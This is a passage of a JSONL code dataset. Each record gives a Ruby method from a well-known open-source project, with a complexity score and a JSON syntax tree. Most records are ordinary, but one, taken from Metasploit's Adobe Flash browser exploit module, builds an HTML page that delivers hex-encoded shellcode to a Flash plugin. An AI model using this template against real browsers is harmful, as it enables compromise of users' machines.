\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FloatValue\"]}]},\"inspect\"]}]}]}]}]}","id":"a2b1203f-3ac5-4557-88c1-5fc7114bc29f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb","start_line":410,"raw_source":"def cmd_run_tabs(str, words)\n    tabs = []\n    if !words[1] || !words[1].match(/^\\//)\n      begin\n        if msf_loaded?\n          tabs = tab_complete_postmods\n        end\n        [  # We can just use Meterpreters script path\n          ::Msf::Sessions::HWBridge.script_base,\n          ::Msf::Sessions::HWBridge.user_script_base\n        ].each do |dir|\n          next unless ::File.exist? dir\n          tabs += ::Dir.new(dir).find_all { |e|\n            path = dir + ::File::SEPARATOR + e\n            ::File.file?(path) && ::File.readable?(path)\n          }\n        end\n      rescue Exception\n      end\n    end\n    return tabs.map { |e| e.sub(/\\.rb$/, '') }\n  end","complexity_score":48.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_run_tabs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"arg\",\"children\":[\"words\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tabs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"!\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"msf_loaded?\"]},{\"type\":\"lvasgn\",\"children\":[\"tabs\",{\"type\":\"send\",\"children\":[null,\"tab_complete_postmods\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Sessions\"]},\"HWBridge\"]},\"script_base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Sessions\"]},\"HWBridge\"]},\"user_script_base\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tabs\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Dir\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"SEPARATOR\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"readable?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},null,null]},null]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tabs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.rb$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}","id":"71c3edac-bec3-4662-98a3-df46918a279d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/previews/pajamas/animated_icon_component_preview.rb","start_line":75,"raw_source":"def infinite(icon: :upload, variant: :current, is_on: true)\n      upload_component = Pajamas::AnimatedIconComponent.new(\n        icon: icon.to_sym,\n        variant: variant.to_sym,\n        is_on: is_on\n      )\n      duo_chat_component = Pajamas::AnimatedIconComponent.new(\n        icon: :duo_chat,\n        variant: variant.to_sym,\n        is_on: is_on\n      )\n      loader_component = Pajamas::AnimatedIconComponent.new(\n        icon: :loader,\n        variant: variant.to_sym,\n        is_on: is_on\n      )\n\n      render_with_template(template: 'animated_icon_component_preview/infinite', locals: {\n        upload_component: upload_component,\n        duo_chat_component: duo_chat_component,\n        loader_component: loader_component\n      })\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"infinite\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"icon\",{\"type\":\"sym\",\"children\":[\"upload\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"variant\",{\"type\":\"sym\",\"children\":[\"current\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"is_on\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_component\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pajamas\"]},\"AnimatedIconComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"icon\"]},\"to_sym\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"to_sym\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_on\"]},{\"type\":\"lvar\",\"children\":[\"is_on\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"duo_chat_component\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pajamas\"]},\"AnimatedIconComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"duo_chat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"to_sym\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_on\"]},{\"type\":\"lvar\",\"children\":[\"is_on\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loader_component\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pajamas\"]},\"AnimatedIconComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"loader\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"to_sym\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_on\"]},{\"type\":\"lvar\",\"children\":[\"is_on\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_with_template\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"animated_icon_component_preview/infinite\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_component\"]},{\"type\":\"lvar\",\"children\":[\"upload_component\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duo_chat_component\"]},{\"type\":\"lvar\",\"children\":[\"duo_chat_component\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"loader_component\"]},{\"type\":\"lvar\",\"children\":[\"loader_component\"]}]}]}]}]}]}]}]}","id":"534ee56d-e3a7-48a7-94e6-32ec7a5b408c"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/log_writer.rb","start_line":103,"raw_source":"def format(str)\n      formatter.call(str)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}","id":"180ae666-0087-412f-8a69-f3c5ef13f746"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_avm2.rb","start_line":109,"raw_source":"def exploit_template(cli, target_info)\n    swf_random = \"#{rand_text_alpha(4 + rand(3))}.swf\"\n    shellcode = get_payload(cli, target_info).unpack(\"H*\")[0]\n\n    html_template = %Q|<html>\n    <body>\n    <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />\n    <param name=\"movie\" value=\"<%=swf_random%>\" />\n    <param name=\"allowScriptAccess\" value=\"always\" />\n    <param name=\"FlashVars\" value=\"id=<%=shellcode%>\" />\n    <param name=\"Play\" value=\"true\" />\n    </object>\n    </body>\n    </html>\n    |\n\n    return html_template, binding()\n  end","complexity_score":11.95,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"target_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"swf_random\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"str\",\"children\":[\".swf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"shellcode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"target_info\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<html>\\n\"]},{\"type\":\"str\",\"children\":[\"    <body>\\n\"]},{\"type\":\"str\",\"children\":[\"    <object classid=\\\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\\\" codebase=\\\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\\\" width=\\\"1\\\" height=\\\"1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    <param name=\\\"movie\\\" value=\\\"<%=swf_random%>\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    <param name=\\\"allowScriptAccess\\\" value=\\\"always\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    <param name=\\\"FlashVars\\\" value=\\\"id=<%=shellcode%>\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    <param name=\\\"Play\\\" value=\\\"true\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    </object>\\n\"]},{\"type\":\"str\",\"children\":[\"    </body>\\n\"]},{\"type\":\"str\",\"children\":[\"    </html>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_template\"]},{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]}]}","id":"1bb7a047-0c7e-4c24-969d-fc6fd2ef21b1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_db.rb","start_line":866,"raw_source":"def rpc_report_service(xopts)\n  ::ApplicationRecord.connection_pool.with_connection {\n    opts, wspace = init_db_opts_workspace(xopts)\n    res = self.framework.db.report_service(opts)\n    return { :result => 'success' } if res\n    { :result => 'failed' }\n  }\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_report_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xopts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\"]},{\"type\":\"lvasgn\",\"children\":[\"wspace\"]}]},{\"type\":\"send\",\"children\":[null,\"init_db_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"xopts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework\"]},\"db\"]},\"report_service\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"success\"]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"failed\"]}]}]}]}]}]}","id":"c14597ee-c0d5-49e7-8222-8fb075fdcbe9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/groups_controller.rb","start_line":792,"raw_source":"def add_user_to_group(group, user, notify = false)\n    group.add(user)\n    GroupActionLogger.new(current_user, group).log_add_user_to_group(user)\n    group.notify_added_to_group(user) if notify\n  rescue ActiveRecord::RecordNotUnique\n    # Under concurrency, we might attempt to insert two records quickly and hit a DB\n    # constraint. In this case we can safely ignore the error and act as if the user\n    # was added to the group.\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_user_to_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"notify\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]},\"log_add_user_to_group\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notify\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"notify_added_to_group\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},null,null]},null]}]}","id":"a3cc0cf7-e8bb-405f-9e96-ae5c04338ddd"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/module_test.rb","start_line":464,"raw_source":"def test_delegate_missing_with_allow_nil_when_called_on_self\n    assert_nil DecoratedMissingAllowNil.new(nil).call_name\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delegate_missing_with_allow_nil_when_called_on_self\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DecoratedMissingAllowNil\"]},\"new\",{\"type\":\"nil\",\"children\":[]}]},\"call_name\"]}]}]}","id":"3b7203a2-5206-4491-8aba-9beb1b363fbf"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/disabled_config_formatter.rb","start_line":153,"raw_source":"def output_cop_comments(output_buffer, cfg, cop_name, offense_count)\n        output_buffer.puts \"# Offense count: #{offense_count}\" if show_offense_counts?\n\n        cop_class = Cop::Registry.global.find_by_cop_name(cop_name)\n        default_cfg = default_config(cop_name)\n\n        if supports_safe_autocorrect?(cop_class, default_cfg)\n          output_buffer.puts '# This cop supports safe autocorrection (--autocorrect).'\n        elsif supports_unsafe_autocorrect?(cop_class, default_cfg)\n          output_buffer.puts '# This cop supports unsafe autocorrection (--autocorrect-all).'\n        end\n\n        return unless default_cfg\n\n        params = cop_config_params(default_cfg, cfg)\n        return if params.empty?\n\n        output_cop_param_comments(output_buffer, params, default_cfg)\n      end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"output_cop_comments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output_buffer\"]},{\"type\":\"arg\",\"children\":[\"cfg\"]},{\"type\":\"arg\",\"children\":[\"cop_name\"]},{\"type\":\"arg\",\"children\":[\"offense_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_offense_counts?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_buffer\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"# Offense count: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense_count\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"cop_class\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cop\"]},\"Registry\"]},\"global\"]},\"find_by_cop_name\",{\"type\":\"lvar\",\"children\":[\"cop_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"default_cfg\",{\"type\":\"send\",\"children\":[null,\"default_config\",{\"type\":\"lvar\",\"children\":[\"cop_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_safe_autocorrect?\",{\"type\":\"lvar\",\"children\":[\"cop_class\"]},{\"type\":\"lvar\",\"children\":[\"default_cfg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_buffer\"]},\"puts\",{\"type\":\"str\",\"children\":[\"# This cop supports safe autocorrection (--autocorrect).\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_unsafe_autocorrect?\",{\"type\":\"lvar\",\"children\":[\"cop_class\"]},{\"type\":\"lvar\",\"children\":[\"default_cfg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_buffer\"]},\"puts\",{\"type\":\"str\",\"children\":[\"# This cop supports unsafe autocorrection (--autocorrect-all).\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_cfg\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[null,\"cop_config_params\",{\"type\":\"lvar\",\"children\":[\"default_cfg\"]},{\"type\":\"lvar\",\"children\":[\"cfg\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"output_cop_param_comments\",{\"type\":\"lvar\",\"children\":[\"output_buffer\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"default_cfg\"]}]}]}]}","id":"8ced6790-218a-4568-a2dd-a0eb5c5dbca7"}
{"repo_name":"spree","file_path":"./repos/spree/api/spec/support/controller_hacks.rb","start_line":9,"raw_source":"def api_get(action, params = {}, session = nil, flash = nil)\n    api_process(action, params, session, flash, 'GET')\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"api_get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"session\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"flash\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"api_process\",{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"session\"]},{\"type\":\"lvar\",\"children\":[\"flash\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}","id":"c8336a0e-728d-4a1b-9427-c1652e423108"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/fan_out_on_write_service.rb","start_line":64,"raw_source":"def fan_out_to_public_streams!\n    broadcast_to_hashtag_streams!\n    broadcast_to_public_streams!\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fan_out_to_public_streams!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"broadcast_to_hashtag_streams!\"]},{\"type\":\"send\",\"children\":[null,\"broadcast_to_public_streams!\"]}]}]}","id":"12dc5050-71a9-4547-bcfb-8b0c0471dad0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/graphql/graphql_name_position.rb","start_line":31,"raw_source":"def on_class(node)\n          return unless graphql_name?(node)\n          return if node.body.single_line?\n\n          add_offense(node) unless graphql_name?(node.body.children.first)\n        end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_name?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]},\"single_line?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_name?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]},\"children\"]},\"first\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"6014c295-982d-4e84-9163-4f5de61066e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/redis_cluster_validator.rb","start_line":204,"raw_source":"def allow_cross_slot_commands\n          Thread.current[:allow_cross_slot_commands] ||= 0\n          Thread.current[:allow_cross_slot_commands] += 1\n\n          yield\n        ensure\n          Thread.current[:allow_cross_slot_commands] -= 1\n        end","complexity_score":4.83,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_cross_slot_commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_cross_slot_commands\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_cross_slot_commands\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_cross_slot_commands\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"1bee9c0d-20fe-401f-ac0e-84fcf7bb7272"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/issuables_helper.rb","start_line":104,"raw_source":"def group_dropdown_label(group_id, default_label)\n    return default_label if group_id.nil?\n    return \"Any group\" if group_id == \"0\"\n\n    group = ::Group.find_by(id: group_id)\n\n    if group\n      group.full_name\n    else\n      default_label\n    end\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"group_dropdown_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]},{\"type\":\"arg\",\"children\":[\"default_label\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_id\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_label\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_id\"]},\"==\",{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Any group\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Group\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"full_name\"]},{\"type\":\"lvar\",\"children\":[\"default_label\"]}]}]}]}","id":"09821855-7ff8-4c33-abf8-a4b6e26fc121"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/wp/styles.rb","start_line":56,"raw_source":"def inline_error\n      resolve_font(@styles[:inline_error])\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inline_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_font\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inline_error\"]}]}]}]}","id":"cfd27f37-b867-4984-a65c-7b52d71dc6ff"}
